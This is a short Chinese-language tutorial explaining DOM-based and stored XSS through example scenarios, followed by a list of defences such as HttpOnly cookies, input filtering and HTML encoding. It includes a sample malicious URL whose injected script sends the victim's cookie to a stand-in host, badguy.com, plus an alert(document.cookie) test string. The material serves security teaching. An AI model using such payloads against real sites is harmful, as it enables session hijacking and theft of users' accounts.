XSS跨站脚本攻击

### 攻击过程

XSS跨站脚本攻击指攻击者在网页中嵌入客户端脚本(例如JavaScript)，当用户浏览此网页时，脚本就会在用户的浏览器上执行，从而达到攻击者的目的，比如获取用户的Cookie，导航到恶意网站，携带木马等。

XSS攻击场景有以下两个方面：

1. Dom-Based XSS 漏洞。攻击过程如下

Tom 发现了Victim.com中的Search.asp页面有XSS漏洞，Search.asp的代码如下：

|  |
| --- |
| <html>  <title></title>  <body>  　　Results for <%Reequest.QueryString("term")%>  　　...  </body>  </html> |

Tom 先建立一个网站http://badguy.com，用来接收“偷”来的信息。然后Tom 构造一个恶意的url(如下)，通过某种方式(邮件，QQ)发给Monica。

[http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script](http://victim.com/search.asp?term=%3cscript%3ewindow.open(%22http://badguy.com?cookie=%22+document.cookie)%3c/script)>

Monica点击了这个URL，嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行，那么Monica在victim.com网站的cookie，就会被发送到badguy网站中，这样Monica在victim.com 的信息就被Tom盗了

1. Stored XSS(存储式XSS漏洞)。该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞，攻击者将攻击脚本上传到Web服务器上，使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下：

Alex发现了网站A上有一个XSS 漏洞，该漏洞允许将攻击代码保存在数据库中，于是Alex发布了一篇文章，文章中嵌入了恶意JavaScript代码。其他人如Monica访问这片文章的时候，嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行，其会话cookie或者其他信息将被Alex盗走。

Dom-Based XSS漏洞威胁用户个体，而存储式XSS漏洞所威胁的对象将是大量的用户。

### 防止XSS跨站脚本攻击

原则：不相信用户输入的数据

注意：攻击代码不一定在<script></script>中

1. 将重要的cookie标记为http only，这样的话Javascript 中的document.cookie语句就不能获取到cookie了
2. 只允许用户输入我们期望的数据。例如：年龄的textbox中，只允许用户输入数字，而数字之外的字符都过滤掉
3. 对数据进行Html Encode 处理。< 转化为 &lt;、> 转化为 &gt;、& 转化为 &amp;、' 转化为 &#039;、" 转化为 &quot;、空格 转化为 &nbsp;
4. 过滤或移除特殊的Html标签。例如：<script>、<iframe>、&lt; for <、&gt; for >、&quot for
5. 过滤JavaScript 事件的标签。例如 "onclick="、"onfocus" 等等

很多浏览器都加入了安全机制来过滤XSS（如下图，在ie中输入[http://www.baidu.com/s?wd=<script>alert(document.cookie)</script](http://www.baidu.com/s?wd=%3cscript%3ealert(document.cookie)%3c/script)>）

